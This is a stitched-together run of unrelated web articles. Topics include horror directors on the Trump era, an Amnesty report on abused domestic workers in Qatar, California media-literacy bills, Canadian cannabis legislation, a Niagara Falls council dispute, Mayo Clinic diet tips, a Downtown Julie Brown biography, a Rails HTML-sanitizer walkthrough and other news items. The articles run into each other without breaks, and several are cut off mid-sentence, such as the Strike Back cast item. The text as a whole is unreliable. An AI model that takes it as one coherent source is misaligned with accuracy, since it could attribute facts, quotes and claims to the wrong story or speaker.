"Horror is most effective when it’s in response to fucked-up world events," says Adam Wingard. "Now we’re in the new Trump era, but we haven’t really seen any new horror films made within it. You look at Twitter, and you see how insane it’s making people. It’s driving people crazy on either side of the fence. No one knows what to do anymore. I can only imagine that’s going to spawn some pretty amazing horror. A silver lining to a completely shitty situation."
If the theory is correct, we’re on a cusp of a massive wave of Trump-centric horror movies. "It takes three months to write a script, so I think we are going to see [Trump’s election] reflected in movies that come out in 12 to 18 months," said Jason Blum in March.
So what will these Trump-centric horror movies actually look like? "I think it’s gonna be a very revolutionary social commentary. I don’t mean that in the obvious, Purge [way]… The Purge, their version of that is so on-the-nose. It is what it is," says Wingard.
"I hope [horror filmmakers] address fear as a tool to control and divide," says Andy Muschietti. "That’s a little bit of what happened on It. Making It was an interesting experience because of all the parallels between the monster and the current situation. There’s a natural tendency to respond to what’s going on."
"When horror is about something—capital-A about—that’s when it’s really landing," says Mike Flanagan, putting Get Out as the latest in a long line of politically, socially, and racially-conscious horror films that stretch back to George Romero’s Night of the Living Dead. "I think we’ll see really ambitious, really specific independent fare that’s going to catch on with limited releases that grow and grow."
And despite depressing statistics about women mounting studio-backed horror movies, Karyn Kusama also anticipates a new renaissance of horror movies created by women. "So much interesting stuff right now is coming from women, and a lot of it is about the consequences of containing, denying, or repressing the monstrous in us," Kusama says. "It’s very interesting when women have to confront the darkness, either within the outside world or within themselves. What does it mean to not have agency over our own bodies? What does it mean to have no control over the destiny of our lives? Those kinds of questions are the basis, in my opinion, of most horror. And I think we’re at a moment where a lot of people are asking themselves those questions, and some really interesting stories are going to emerge."
At the end of our conversation, Andy Muschietti put it most succinctly of all. "The situation is shit," he said. "At least we’ll make movies."
Watch Now:Not many analysts would consider career backup quarterback Josh McCown one of the best options in the league, but Browns receiver Dwayne Bowe sees something different.
The Cleveland wideout gave his starting quarterback a lot of praise Friday afternoon when he said McCown has the skills to be one of the best at his position.
MORE: Classic NFL training camp photos | Manziel, Pryor makeovers begin
#browns bowe on mccown: "he's showing all the potential of being a top 5 QB in the NFL" — Mary Kay Cabot (@MaryKayCabot) July 31, 2015
McCown is fine, but a top five quarterback in the NFL? Keep dreaming, Bowe. McCown has primarily been used as a backup quarterback throughout his career. He had a good run with the Bears in 2013, but that's about the extent of his highlights.
He has thrown 61 career touchdown passes in 12 seasons compared to 59 interceptions. He has a career completion percentage of 58.8 and a career passer rating of 76.1. Again, he's not awful, but he'll never be considered a top five option at his position.
Bowe later said something that wasn't as crazy.
"We're going to be the sleepers," he said of the Browns. "We're going to surprise a lot of people."
The Browns are strong on the defensive side of the ball, especially in pass defense. If they can figure out how to utilize their offense effectively, they could be a sleeper team this season.NEW DELHI: The Qatari authorities are failing to protect migrant domestic workers who face severe exploitation, including forced labour and physical and sexual violence, Amnesty International has said in a new report published on Wednesday.“My sleep is my break”: Exploitation of domestic workers in Qatar, paints a bleak picture of women who have been recruited to work in Qatar on the basis of false promises about salaries and working conditions, only to be made to work extreme hours and seven-day weeks. Some women described how they were subjected to appalling episodes of sexual and physical violence.“Migrant domestic workers are victims of a discriminatory system that denies them basic protections and leaves them open to exploitation and abuse including forced labour and human trafficking," said Audrey Gaughran Amnesty International’s global issues director.“We have spoken to women who have been terribly deceived, then found themselves trapped and at the mercy of abusive employers, banned from leaving the house. Some women said they were threatened with physical violence when they told their employers they wanted to leave,” added Gaughran.There are at least 84,000 women migrant domestic workers in the Gulf state, mainly from South and South East Asia. Many are forced to work excessive hours. Researchers interviewed women working, in some cases, up to 100 hours per week, with no day off. Some said they had been promised good salaries and decent working conditions before leaving for Qatar, only to have their hopes shattered on arrival.Under Qatari law there are no limits on working hours for domestic workers and there is no requirement to give them a day off. They are also unable to lodge complaints with the labour ministry.“Women who find themselves in abusive households face utterly miserable conditions. They have few options — if they choose to simply to get out of the house, they will be branded ‘runaways’ and are likely to end up being detained and deported,” said Gaughran.Domestic workers are subject to the restrictive sponsorship system, which prevents migrant workers from leaving their job or the country without their employer’s permission. While some women find good jobs and are treated well, women facing abuse are left with little choice but to “run away”, putting them at risk of being arrested, detained and deported on charges of “absconding”. Up to 95% of the women held at Doha’s deportation centre in March 2013 were domestic workers.An Indonesian woman being held at the deportation centre after fleeing from sustained physical abuse, showed researchers a deep scar on her chest where her female employer had branded her with a hot iron. She told researchers she had been forced to work seven days a week, was not paid for months and was banned from leaving the house. She eventually managed to leave the house, only to be picked up by police and detained.Researchers heard shocking testimonies of violent abuse, including women who reported being slapped, pulled by the hair, poked in the eyes, and kicked down the stairs by their employers. Three women reported that they had been raped.Women who have been physically or sexually abused face major obstacles to getting justice. None of the women researchers spoke to had seen their attackers prosecuted or convicted.In one horrific case, a domestic worker broke both her legs and fractured her spine when she fell from a window as she tried to escape a rape attack by her employer. Her attacker then proceeded to sexually assault her as she lay on the ground, injured and unable to move. Only afterwards did he call an ambulance.When researchers interviewed her six months after the attack, she was still using a wheelchair. Despite her appalling injuries, the public prosecutor dismissed the case due to “lack of evidence” and she returned to the Philippines last year. Her employer has never been held accountable.Women who report sexual abuse also risk being charged with “illicit relations” — sexual relations outside of marriage — a “crime” normally punished with a year in jail and deportation. Approximately 70% of the women held at Doha’s women’s prison in March 2013 were domestic workers. Pregnant women were among those imprisoned, and 13 babies under two years old were being detained with their mothers.The charge of ‘illicit relations’ should be removed from Qatar’s laws without delay, Amnesty International said.Amnesty International called on the Qatari authorities to urgently remove provisions in the Labour Law which deny labour rights to domestic and some other workers. In recent years, the government has repeatedly stated that it will introduce a domestic workers law.“International attention on the 2022 FIFA World Cup has thrown a spotlight on the plight of migrant construction workers in Qatar. However, the complete absence of protections for domestic workers’ labour rights, and the fact that they are isolated in employers’ homes, leaves them exposed to abuse to an even greater extent,” said Gaughran.“Promises by the government to protect domestic workers’ labour rights have so far not amounted to anything. Qatar must stop dragging its feet over this and guarantee domestic workers legal protection for basic rights immediately.”The report draws upon interviews with 52 female domestic workers, interviews with government officials, embassies of domestic workers’ countries of origin and recruitment agencies. The report also draws on data provided by institutions that work with domestic workers facing difficulties. Amnesty International researchers also visited the deportation centre and prison.Following Amnesty International’s November 2013 report on migrant workers in Qatar’s construction sector, the Qatari government announced that the law firm DLA Piper would examine Amnesty International’s findings as part of a wider review of the situation of migrant workers in Qatar. Their report is expected in the coming weeks.This photograph, taken in Paris on Dec. 2, shows stories from USA Daily News 24, a fake news site registered in Veles, Macedonia. (Raphael Satter/AP)
It was a divisive presidential election muddied further by false news from false news sources aiming to smear both sides in the campaign.
These stories, one of which claimed an FBI agent looking into Hillary Clinton's e-mail debacle had killed his wife and then killed himself, caught fire on social media — with some readers believing they were true.
That's why two California lawmakers want to raise the next generation with the savvy to tell the difference between media truth and lies.
[How one deplorable sign at an anti-Trump protest foreshadows the fight over fake news]
California Assemblyman Jimmy Gomez (D) introduced a bill Wednesday that would require the state to establish curriculum standards and frameworks to teach “civic online reasoning” to middle- and high-schoolers. The intention is to help give youngsters “the ability to judge the credibility and quality of information found on Internet Web sites, including social media,” the bill states.
“For every challenge facing this nation, there are numerous Internet sources pretending to be something they are not,” according to the proposed legislation. “With so much information shared on the Internet, it can be difficult to tell the difference between real news and fake news.
Consider these points before sharing a news article on Facebook. It could be fake. (Monica Akhtar/The Washington Post)
“Ordinary people once relied on publishers, editors, and subject matter experts to vet the information they consumed, but information shared on the Internet is disseminated rapidly and often without editorial oversight, making it easier for fake news to reach a large audience.”
It comes at a time when, Gomez said, “we have seen the corrupting effects of a deliberate propaganda campaign driven by fake news.”
“When fake news is repeated, it becomes difficult for the public to discern what's real,” he said in a statement, according to the Los Angeles Times. “These attempts to mislead readers pose a direct threat to our democracy.”
Then came a measure introduced by state Sen. Bill Dodd (D), who called the recent tide of spurious stories on social media “deeply concerning.”
“Even more concerning is the lack of education provided to ensure people can distinguish what is fact and what’s not,” he said in a statement. “Through new technology, news has never been more readily available. However, the quality of that information varies widely. By giving students the proper tools to analyze the media they consume, we can empower them to make informed decisions.”
Dodd's bill would require California to incorporate “media literacy” into social science curricula for all grade levels as well as provide such training for teachers.
It states:
During the final, critical months of the 2016 presidential campaign, 20 top-performing false election stories from hoax Web sites and hyperpartisan blogs generated 8,711,000 shares, reactions, and comments on social media; where, within the same time period, the 20 best-performing election stories from 19 major news Internet Web sites generated a total of 7,367,000 shares, reactions, and comments on Facebook. It is necessary to confront questions about the moral obligations and ethical standards regarding what appears on social media networks and digital platforms. Access to technology literacy and digital media skills education for all young students is a challenge, especially for underrepresented and economically disadvantaged communities. It is the intent of the Legislature to ensure that young adults are prepared with technology literacy and computer skills in order to utilize social media sites responsibly.
[Trump’s first news conference since election blasts a usual suspect: the media]
As The Washington Post's Margaret Sullivan reported this month, “fake news” can be defined as “deliberately constructed lies, in the form of news articles, meant to mislead the public” — although, as she noted, the trendy term has already migrated away from its original meaning and, for some, come to describe “Liberal claptrap. Or opinion from left-of-center. Or simply anything in the realm of news that the observer doesn’t like to hear.”
Read more:
How cartoonists are mocking Trump, Putin and the claims of ‘fake news’
Facebook is starting its own journalism project
It’s time to retire the tainted term ‘fake news’Share. Filming has begun in Jordan and Hungary. Filming has begun in Jordan and Hungary.
The first cast photo from Cinemax's upcoming ten-episode Season 5 of Strike Back has been released.
The photo contains the show's new cast, Warren Brown (Luther) as "Mac" McAllister, Daniel MacPherson (Infini) as Samuel Wyatt, Roxanne McKee (Game of Thrones) as Natalie Reynolds, and Alin Sumarwata (Burning Man) as Grace Novin. Check out the image below.
Strike Back Season 5 cast.
Strike Back's new season (the sixth season total for the show, following the pick-up of the six-episode debut season that was called "Strike Back: Origins" in the US when it was eventually aired here,) will act as a revival of the series with a brand new storyline and characters. The story centers around the Section program being restored to track down a terrorist following a prison break, with the resurrected unit journeying across the Middle East and Europe to hunt down the terrorist and uncover a conspiracy.
"This rebirth of the series will undoubtedly satisfy the show's loyal fans, and our new ensemble cast promises |
, improves their STAR rating. Illustration by Todd Detwiler. Rotational Acceleration Caused by: An off-center, angled hit that makes the head rotate around its center of gravity. Can strain and damage brain tissue by causing it to stretch and twist at the same time. Some researchers believe rotational acceleration is more dangerous than linear. The STAR system, however, doesn’t currently account for this type of head acceleration. Sources: Journal of Neurosurgery; Exercise and Sport Sciences Reviews; Stefan Duma; Blaine Hoshizaki.
Patrick Hruby has written for ESPN, Sports on Earth, and Vice Sports. He can be reached through his website, patrickhruby.net. This article appears in the December 2014 issue of Washingtonian.The Liberal government's point man on pot says Canada Day 2018 should not be about legalizing marijuana but about recognizing the country's history.
Bill Blair, the parliamentary secretary to Justice Minister Jody Wilson-Raybould, said Wednesday he's a proud Canadian who believes July 1 is a day to celebrate the country's birth "for that reason and that reason alone."
"I believe that... a reasonable goal is to have all this work done by the beginning of July, but by that date and on that date are very different things," Blair said in an interview.
"I don't think that's an appropriate date. That's my opinion."
Blair was responding to recent headlines saying marijuana would be legal by Canada Day next year after legislation to do so is introduced next week in the House of Commons.
There are other dates by which the new law could be enacted, he said.
"I'm probably out on a limb on this one but... I don't believe July 1 should be an implementation date for anything; it is a day of celebration for the anniversary and founding of our country."
Blair would not confirm that the legislation would be introduced next week — only that the government will live up to its pledge to bring forward legislation this spring.
"I don't want to be obtuse with you but I have no authority to confirm that date."
Beyond legislation, the government's plan must include building a regulatory framework with the provinces and territories to ensure appropriate tools, technology and regulations are in place, Blair added.
The timing of the legislation, if it indeed comes next week, would provide a dramatically different context for 4/20, the annual April 20 celebration of pot culture that culminates in a massive — and decidedly hazy — gathering on Parliament Hill.
Without the bill, the gathering likely would have become a massive protest against a Liberal government already known for breaking or stalling a number of high-profile campaign promises, including electoral reform.
The Liberals made the legalization of marijuana a key promise in their election platform in 2015, which was followed by the appointment of a high-level task force to study the issue.
The task force, led by former cabinet minister Anne McLellan, recommended storefront and mail-order sales to people 18 and older, personal growing limits of four plants per person and a 30-gram limit on personal possession.Diodati said what his statement in council was the truth and that he has never seen the application.
“It is their application,” he said. “They are partners with us but they are also in negotiation with other partners. They’ve done this before.”
When contacted by this Week, a Ryerson spokesperson confirmed via email that Diodati “was not a part of the process” and that the University had worked with senior staff.
“We worked with senior city staff throughout the process and shared drafts of the application with them as it was developed and revised,” said Johanna VanderMaas, the university’s manager of public affairs.
Todd confirmed that staff had seen drafts of the application, but only the portions that pertained to the City’s involvement.
“We did see drafts as it moved along,” Todd said. “What we were doing, What was specific to us. I never personally saw a final draft.”
Most of the back and forth concerned economic development, Todd said.
“There was also dialogue back and forth with FedDev people.”
Ioannoni also contends that the Mayor knows the developer behind Niagara Academic and in fact has met with the principal at a meeting facilitated by the Downtown BIA.
“The developer he said he didn’t know was invited by the mayor and Serge to meet with the BIA in May 2014,” she said.
Diodati, meanwhile, said the project is still very much alive.
“The last application process is dead and done,” he said. “But we’ve re-engaged. The original (innovation zone) did not receive funding. We’re not discouraged and we will continue.”
VanderMaas confirmed Ryerson is still working with the City.
“Ryerson University continues to review options to develop the project with the City of Niagara Falls and other potential partners in the region,” she wrote. “Our main focus is developing options for the project that will have strong local commitment and collaboration necessary for its success. As part of that process, we consider a range of funding sources for the initiative including FedDev and other sources.”
VanderMass also confirmed Wendy Cukier, who was the Ryerson pointperson of the previous application, is no longer involved in the project.
“The file is being handled by the Office of the Vice-president, Research and Innovation, which supports Ryerson in the development of many institution-level proposals and funding applications,” she wrote.
Cukier has also been the focus of controversy. She had been named as the new president of Brock University in time for the current academic year but days before she was to take over, Brock announced she and the school’s board of trustees had arrived at a mutual decision not to proceed with the appointment. The announcement was followed shortly by an investigation at Ryerson into accusations of workplace bullying by Cukier.
The topic of the Ryerson partnership came up at the council meeting as city politicians finished a discussion from its November meeting on a resolution brought forward by Ioannoni that called on council to confirm the $10 million had been committed and that it would discuss any future partnership proposals behind closed doors. The latter part of the resolution stemmed from a report from the Ontario Ombudsman’s office that deemed a Feb. 2015 meeting where the funding was discussed was improper.
The resolution was defeated.
But prior to the vote, when Ioannoni was pressing the mayor for answers solicitor Ken Beaman reminded Ioannoni that questions she was asking had been dealt with in the investigation by the Ombudsman.
“There’s already been an investigation into this by the Ombudsman,” Beaman said. “The Ombudsman has made conclusions of facts of what council did and didn’t do in camera. To challenge the findings of the Ombudsman at this point is highly irregular. The fact is the matter has been investigated, the conclusion was made by an independent investigator and that is the fact we should all be dealing with.”
The issue surrounding the Ryerson initiative has been simmering for months and has often resulting in tempers flaring at council. Most notably back in May when Ioannoni accused Todd of muttering “you’re such a bitch” when she was questioning him about the partnership. That led to a third-party investigation that cost the city $50,000. The investigation was inconclusive.
But Ioannoni said she would continue to look for answers.
“I’m not stopping,” she said.Our general interest e-newsletter keeps you up to date on a wide variety of health topics.
Pyramid or plate? Explore healthy eating options Healthy diets come in all shapes and sizes. Discover how easy it is to eat healthy. By Mayo Clinic Staff
A healthy eating plan can be illustrated in many ways. The U.S. Department of Agriculture uses a dinner plate, called MyPlate, to encourage people to make healthy food choices.
Many other healthy diets are represented by food pyramids. These include the Asian, Latin American, Mediterranean, and Vegetarian diet pyramids, as well as the Mayo Clinic Healthy Weight Pyramid, just to name a few. These graphics reinforce the choices that are the foundation of a healthy diet.
Basic principles of a healthy diet
Symbols, such as a pyramid, illustrate how the pieces of a healthy diet fit together. The base of the pyramid is typically made up of foods that should be the bulk of your healthy diet. In contrast, foods you should eat in smaller amounts or less frequently are shown in the smaller sections of the pyramid.
The same principle applies to the dinner plate — half of the plate consists of what should be the bulk of your diet.
Of course, no single food provides all of the nutrients that your body needs, so the idea is to eat a variety of foods from each group to get all the necessary nutrients and other substances that promote good health.
Whether in pyramid or plate form, most healthy eating plans emphasize the following:
Eating more plant foods, including fruits, vegetables and whole grains
Choosing lean protein from a variety of sources
Limiting sweets and salt
Controlling portion sizes
Being physically active
Variations among healthy eating plans
Although most healthy diets are built on the same general principles, there are key differences that reflect dietary preferences, food availability and cultural eating patterns. For example, the Latin American Diet Pyramid might mention tortillas and cornmeal, whereas the Asian Diet Pyramid might include noodles and rice.
Other differences include:
Food groups. The food groups among healthy-eating plans vary somewhat. For example, some versions have plant-based proteins — soybeans, beans and nuts — in a separate group from animal proteins like meat, poultry, eggs and dairy products. This is because some diets limit or exclude animal proteins entirely.
The food groups among healthy-eating plans vary somewhat. For example, some versions have plant-based proteins — soybeans, beans and nuts — in a separate group from animal proteins like meat, poultry, eggs and dairy products. This is because some diets limit or exclude animal proteins entirely. Serving recommendations. Healthy-eating plans also vary in the recommended servings of each food group. The Mayo Clinic Healthy Weight Pyramid, for example, recommends a daily number of servings from each food group. Other plans offer more-general guidelines, such as eating particular foods at every meal, or on a weekly or monthly basis.
Put the pyramid — or plate — to work for you
To see how your eating habits match up to these healthy eating plans, keep a food diary for several days. Then compare how much of your diet comes from the various food groups. You may be surprised by the results.
To eat healthier, start with gradual changes, such as eating more vegetables, fruits and whole grains, and limiting fats and sweets.
Here are a few more tips to help you adopt healthier eating habits:
Choose a variety of foods. In addition to choosing foods from each food group, also choose a variety of foods from within each food group. This ensures that you get all of the calories, protein, vitamins, minerals and fiber you need. Choosing a wide range of foods also helps make your meals and snacks more interesting.
In addition to choosing foods from each food group, also choose a variety of foods from within each food group. This ensures that you get all of the calories, protein, vitamins, minerals and fiber you need. Choosing a wide range of foods also helps make your meals and snacks more interesting. Adapt the plan to your preferences. For example, a serving of grains doesn't only mean a slice of bread. It can be wild rice, whole-wheat pasta, grits, bulgur, cornmeal muffins or even popcorn. If you need to avoid milk because of lactose intolerance, try yogurt (lower in lactose) or fortified soy milk instead.
For example, a serving of grains doesn't only mean a slice of bread. It can be wild rice, whole-wheat pasta, grits, bulgur, cornmeal muffins or even popcorn. If you need to avoid milk because of lactose intolerance, try yogurt (lower in lactose) or fortified soy milk instead. Combine foods any way you like. For example, you might make a meal of tortillas (grain group) and beans (meat and beans group). Or you could top your fish with fruit salsa or serve steamed vegetables over pasta. The possibilities are virtually endless.
Remember to be creative and go for good taste. A variety of healthy eating plans are available, so why not try a few on for size? You can explore the world's cuisines and improve your diet at the same time.A Chinese state-run newspaper has blamed the United States for being behind the pro-democracy protests that have rattled Hong Kong – a claim strongly rejected by the State Department.
Thousands of people returned for sit-ins in Hong Kong’s main protest zone on Saturday, responding to organisers’ calls to boost a civil disobedience campaign that has paralysed key roads and streets in the city centre for two weeks.
Students and activists leading the protests remain locked in a stalemate with the government, which has called off scheduled negotiations and instead urged protesters to retreat from the streets. Protest leaders have vowed to keep up the demonstrations until the government responds to demands for voters to have a greater say in choosing Hong Kong’s leader.
In a commentary published on the front page of the Communist Party-run People’s Daily’s overseas edition on Friday, the newspaper said the National Endowment for Democracy (NED), a Washington-based nonprofit group, became involved in the Hong Kong protests as part of a US strategy to undermine foreign governments in the name of promoting democracy.
Citing unidentified media reports, the commentary claimed that Louisa Greve, a director at NED, met Hong Kong protest leaders months ago to discuss the movement.
The group did not immediately reply to an email requesting comment on Saturday. According to its website, the organisation is devoted to “the growth and strengthening of democratic institutions around the world”, and is funded largely by Congress.
When asked about the State Department’s role in the Hong Kong protests, department spokeswoman Marie Harf said on Friday that US officials “categorically reject accusations that we are manipulating the activities of any person, group or political party in Hong Kong”.
“What is happening there is about the people of Hong Kong, and any assertion otherwise is an attempt to distract from the issue at hand, which is the people expressing their desire for universal suffrage in an election that provides a meaningful choice of candidates representative of their own voters’ will,” Harf said.An illegal alien accused of having shot a Dallas woman before going back to Mexico has been arrested at the Texas border.
U.S. Border Patrol agents in Eagle Pass arrested 38-year-old Martin Reyes Duque, an illegal alien from Mexico who had re-entered the country after having been previously deported, information provided to Breitbart Texas by Border Patrol revealed.
During processing by Border Patrol agents, authorities learned that Reyes Duque was wanted out in Dallas on a warrant charging him with murder in connection with the August, 2014 murder of Josefine Griggs. Reyes-Duque has been named as the prime suspect in Griggs’ death and has been on the run since the murder, the Dallas Morning News reported at the time. Reyes-Duque is described as having been the victim’s boyfriend at the time of the murder.
According to the Dallas newspaper, Griggs had been calling 911 from a local motel when the Reyes-Duque went towards her and fired several gunshots that the 911 operator was able to hear through the phone.
On Wednesday, Reyes-Duque went before U.S. Magistrate Judge Collis White who ordered that he be held without bond. According to court docket information, Reyes Duque had been deported in 2009 through the international bridge in Del Rio.
Ildefonso Ortiz is an award winning journalist with Breitbart Texas you can follow him on Twitter and on Facebook.Updated: Oct 17, 2015, 12:50 IST
While your taps runs in vain as you brush your teeth, there are entire villages in India that don’t get water supply for months. Of course, the government doesn’t give a sh*t as usual. But then, there are messiahs like Rajender Singh aka ‘the water man of India’ who come to the rescue of the underprivileged.
After receiving a degree in Ayurvedic medicine and surgery, Rajendra took up a government job as a National Service Volunteer for education in Jaipur. Meanwhile he also got associated with Traun Bharat Sang and eventually within three years became the general secretary of the organization. Frustrated with the internal politics at TBS, he got the entire board to resign leaving the organization to him. In 1984, after quitting his government job Rajendra sold all his belongings in return of Rs 23,000, and took a bus ride to the last stop in the interiors of Rajasthan. The last stop turned out to be Kishori village in Thanagazi tehsil in Alwar district. After blending in with the villagers, Rajnedra with 3 of his colleagues from TBS started an Ayurveda clinic and promoted education throughout the district.
Soon after, came to Rajendra’s knowledge the adverse scarcity of water in Alwar. What used to be a prosperous grain market was now largely dry and barren because of years of mining and relentless deforestation. Moreover, the villagers had abandoned the traditional ways of water conservation and resorted to borewells, which eventually depleted the underground water table.
Rajendra came up with the idea of reviving the traditional ‘Johads’ as the only sensible solution to this problem. Johads are earthen check dams, which have been traditionally used to store rainwater and recharge groundwater. As his city friends were reluctant to work manually, they chipped away. Rajendra staying put, teamed up with local youth and started desilting the Gopalpura johad which was considered a ‘dark zone’ for the past 5 years. As the monsoon arrived, the johad filled up and the adjoining wells, those were dry for years now had plenty of water. Within a few months, the water table of the same area rose and it was declared a ‘white zone’.
His biggest success came when, inspired by him, the people of Bhanota-Kolyala village with voluntary help of TBS volunteers, constructed a johad at the source of the dried Arvari River. Along with that they also built tiny earthen dams. Eventually the number of dams reached a staggering 375 and Aravari river started flowing again after 60 years. Ever since TBS has fought and won battles against mining companies, built 8,600 earthen check dams, or johads, to collect rainwater in over 1000 villages in 11 districts and has revived five rivers in Rajasthan-- Arvari, Ruparel, Sarsa, Bhagani and Jahajwali. For his selfless work, Rajender Singh was awarded Stockholm Water Prize, an award known as "the Nobel Prize for water", in 2015 and The Guardian named him as one of the ‘50 people who can save the planet’.
Don't MissFor other people named Julie Brown, see Julie Brown (disambiguation)
Julie Dorne Brown (born 27 August 1963), better known as Downtown Julie Brown, is a London–born actress, television personality, SiriusXM DJ and former MTV VJ. Brown is best known as the host of the television music show Club MTV which ran from 1987 until 1992.
Life and career [ edit ]
Brown's father was Jamaican and her mother, British. Brown has two brothers and three sisters.[citation needed] Her father was in the Royal Air Force and she grew up on air force bases all around the world, including Singapore and Cyprus, before returning to the United Kingdom, where they settled in Bridgend, Wales.[citation needed]
After winning the UK Disco Dancing Championships, she went on to win the World Disco Dancing Championship in 1979.[citation needed] Soon after, Brown began a career on British television as presenter and guest on a number of children's programmes, including the long-running show Crackerjack.[3] Brown also appeared as a dancer on Top of the Pops in the early 1980s as a member of the dance troupe Zoo.
Brown became a presenter on the pan-European music channel Music Box and, after moving to the United States, eventually became an MTV VJ and went on to host the Club MTV show in the late 1980s. That show had a format similar to American Bandstand's but featured an exclusive lineup of dance music. From this came her catchphrase, "Wubba Wubba Wubba", after she accidentally read the T-shirt of a camera crewmember who was holding the cue cards while on live TV.[4]
MTV capitalized on the confusion between Downtown Julie Brown and comic actress Julie Brown by sending the pair together as correspondents for MTV News as well as by their "facing" each other on both their shows (Club MTV and Just Say Julie).
Later career [ edit ]
After leaving MTV, Brown went on to work for ESPN conducting on- and off-field interviews with football athletes. Brown then moved to Los Angeles to host the E Entertainment channel's gossip show. She also became the host of the syndicated radio program American Dance Traxx in March 1992 until its final broadcast in December 1993.
Brown has appeared in a number of movies and TV shows, including Spy Hard; Spring Break '83; The Weird Al Show; B*A*P*S; Ride; Walker, Texas Ranger; Battle Dome; Hey Arnold!; I'm a Celebrity, Get Me Out of Here!; The Dog Whisperer; The Eric Andre Show; and RuPaul's Drag U.
Most recently, she appeared in television's Wife Swap on 21 July 2013. She also appeared on the cover and posed nude for the August 1998 edition of Playboy. Brown is currently a host on the SiriusXM channel '90s on 9. In addition to hosting programmes, she also hosts "The Back in The Day Replay Countdown," on which are played the 30 biggest songs of the week from a particular year in the 1990s.[5]
Personal life [ edit ]
Brown married film producer and former CEO of Intermedia Martin Schuermann in 2001. They live in Marina del Rey, California, with their daughter.[citation needed]
References [ edit ]CLOSE Neeti Upadhye takes you through the Rochester brewery. (file video) Neeti Upadhye
Buy Photo Beer bottles headed for filling in North American Breweries’ St. Paul Street brewery. (Photo: Matthew Daneman/@mdaneman/Staff photographer)Buy Photo
Rochester-based North American Breweries was again the sixth-largest beer brewing company in the nation last year.
The annual rankings, released this week by the beer brewing trade group, Brewers Association, are based on 2014 volumes.
North American, the home of such brands as Genesee, Dundee, Seagram's Escapes, Magic Hat and Pyramid — and the exclusive U.S. rights to Labatt products — was also sixth in the 2014 rankings, based on 2013 volumes.
Leading the pack was beer titan Anheuser-Busch Inc.
Other Empire State beermakers in the top 50 were Brookyn Brewery at 17; Buvel Moortgat of Kansas City and Cooperstown at 18; Utica's Matt Brewing Co. at 20th; and Southern Tier Brewing Co. of Chautauqua County at 41st.
Read or Share this story: http://on.rocne.ws/1D11AGnThe article below was originally written by Kasper Timm Hansen (@kaspth on github & twitter) about his work during the Google Summer of Code 2013.
Kasper and I worked a lot changing the underlying implementation of the sanitize helper to give Rails developers a more robust, faster and secure solution to sanitize user input.
This new implementation should be fully backward compatible, with no changes to the API, which should make the update easier.
You can see more information about the previous and the new implementation on this talk I presented in a Brazillian conference this year (the slides are in English).
Now, I’ll let Kasper share his words with you.
Scrubbing Rails Free of HTML-scanner
Everyone, at least one time, has already needed to use the sanitize method to scrub some pesky HTML away.
If you were to run this on Rails 4.1 (and before) this would take advantage of the html-scanner, a vendored library inside Rails, for the sanitization. Since the summer of 2013 I have been working to destroy that notion by wiping the traces of html-scanner throughout Rails. Before you become concerned of my mental health, I didn’t do this unwarranted. I’m one of the Google Summer of Code students working on Ruby on Rails. My project proposal was to kick html-scanner to the curb (technical term) and grab a hold of Loofah instead. Why did the old library need replacing, though?
The out washed HTML-scanner
html-scanner has been with us for a long time now. The copyright notice in the library clocks it in at 2006, when Assaf Arkin created it. This library relies on Regular Expressions to recognize HTML (and XML) elements. This made the code more brittle. It was easier to introduce errors via complex Regular Expressions, which also gave it a higher potential for security issues.
The Rails Team wanted something more robust and faster, so we picked Loofah. Loofah uses Nokogiri for parsing, which provides a Ruby interface to either a C or Java parser depending on the Ruby implementation you use. This means Loofah is fast. It’s up to 60 to 100% faster than html-scanner on larger documents and fragments.
I started by taking a look at the SanitizeHelper in Action View, which consists of four methods and some settings. The four methods of the are sanitize, sanitize_css, strip_tags and strip_links.
Let’s take a look at the sanitize method.
Comparing with the old implementation, sanitize still uses the WhiteListSanitizer class to do it’s HTML stripping. However, since Action View was pulled out of Action Pack and both needed to use this functionality, we’ve extracted this to it’s own gem.
Developers meet Rails::Html::WhiteListSanitizer
When you use sanitize, you’re really using WhiteListSanitizer ‘s sanitize method. Let me show you the new version.
def sanitize(html, options = {}) return nil unless html return html if html.empty?
No surprises here.
loofah_fragment = Loofah.fragment(html)
The first trace of Loofah. A fragment is a part of a document, but without a DOCTYPE declaration and html and body tags. A piece of a document essentially. Internally Nokogiri creates a document and pulls the parsed html out of the body tag, leaving us with a fragment.
if scrubber = options[:scrubber] # No duck typing, Loofah ensures subclass of Loofah::Scrubber loofah_fragment.scrub!(scrubber)
You can pass your own Scrubber to sanitize! Giving you the power to choose if and how elements are sanitized. As the comment alludes, any scrubber has to be either a subclass of Loofah::Scrubber or it can wrap a block. I’ll show an example later.
elsif allowed_tags(options) || allowed_attributes(options) @permit_scrubber.tags = allowed_tags(options) @permit_scrubber.attributes = allowed_attributes(options) loofah_fragment.scrub!(@permit_scrubber)
We have been very keen on maintaining backwards compatibility throughout this project, so you can still supply Enumerable s of tags and attributes to sanitize. That’s what the PermitScrubber used here handles. It manages these options and makes them work independently. If you pass one it’ll use the standard behavior for the other. See the documentation on what the standard behavior is.
You can also set the allowed tags and attributes on the class level. Like this:
Rails::Html::Sanitizer.allowed_tags = Set.new %w(for your health)
That’s simply what allowed_tags and allowed_attributes methods are there for. They’ll return the tags or attributes from the options and fallback to the class level setting if any.
else remove_xpaths(loofah_fragment, XPATHS_TO_REMOVE) loofah_fragment.scrub!(:strip) end
The StripScrubber built in to Loofah will strip the tags but leave the contents of elements. Which is usually what we want. We use remove_xpaths to remove elements along with their subtrees in the few instances where we don’t. If you have trouble with the syntax above, they’re XPath Selectors.
loofah_fragment.to_s end
Lastly we’ll take the elements and extract the remaining markup with to_s. Internally Nokogiri will call either to_xml or to_html depending on the kind of document or fragment you have.
Rub, buff or clean it off, however you like
So there you have it. I could go through how the other sanitizers work, but they’re not that complex. So go code spelunking in the source.
If this was the first time you’ve seen a Loofah::Scrubber, be sure to check out the source for PermitScrubber and see an example of how to implement one. You can also subclass PermitScrubber and get the sanitization you need without worrying about the implementation details of stripping elements and scrubbing attributes. Take a look at TargetScrubber – the weird PermitScrubber – and how it uses that to get scrubbing fast.
Before I scrub off though, I promised you an example of a custom scrubber. I’ll use the option that wraps a block here, but you could easily create a subclass of Loofah::Scrubber (in a helper maybe?) and override scrub(node). So here goes:
The code above changes all the HTML tags included in the article body to be a tag <script>.
<sarcasm>
If you’re going to introduce bugs, why not make everything a potential risk of running arbitrary code?
</sarcasm>Hats off to Israel’s parliament for passing a ban on declawing of cats. The ban was approved by the Knesset Monday, November 28. And, the new law has some bite to it. Punishment consists of up to one year in prison and a fine of 75,000 shekels (a little more than $20,000.)
